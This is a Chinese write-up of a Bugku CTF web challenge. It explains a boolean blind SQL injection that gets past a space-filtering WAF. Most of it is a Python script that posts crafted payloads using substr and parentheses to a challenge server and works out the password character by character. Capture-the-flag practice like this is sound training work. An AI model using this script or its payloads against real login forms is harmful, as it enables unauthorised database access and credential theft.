Bugku WEB sql注入

明显的布尔盲注。md5值和之前的一样，bugkuctf
这题也是过waf题，具体过滤了哪些字符可以用burpsuite跑个字典看看。
然后就是#，substr这两个关键的函数没有进行过滤，那么可以根据这个构造payload，由于空格被过滤了，所以，考虑用()代替空格
把上一题的脚本改改，爆破出密码来，那就可以直接提交得到flag了

import
requests
string_all="0123456789abcdefghijklmnopqrstuvwxyz"
url="http://114.67.246.176:12456/"
flag=""
fla=0
r=requests.session()
for i in range(1,50):
for j in string_all:
j=j+flag
payload="din'or(!(substr((password)from({0}))<>'{1}'))#".format((-i), j)
data={
"username":payload,
"password":"admin",
}
response=r.post(url,data=data)
print(payload)
if "password error" in response.text:
print(flag)
flag=j
print(flag+"this cycle is finished with right result")
break
elif j[0]=='z':
print(flag + "this cycle is finished with the end")
fla=1
break
if fla==1:
break
print("password is"+flag)

视频参考链接：https://www.bilibili.com/video/BV1Pg41177wb

最后

以上就是安详小蜜蜂为你收集整理的Bugku WEB sql注入的全部内容，希望文章能够帮你解决Bugku WEB sql注入所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错，欢迎将靠谱客网站推荐给程序员好友。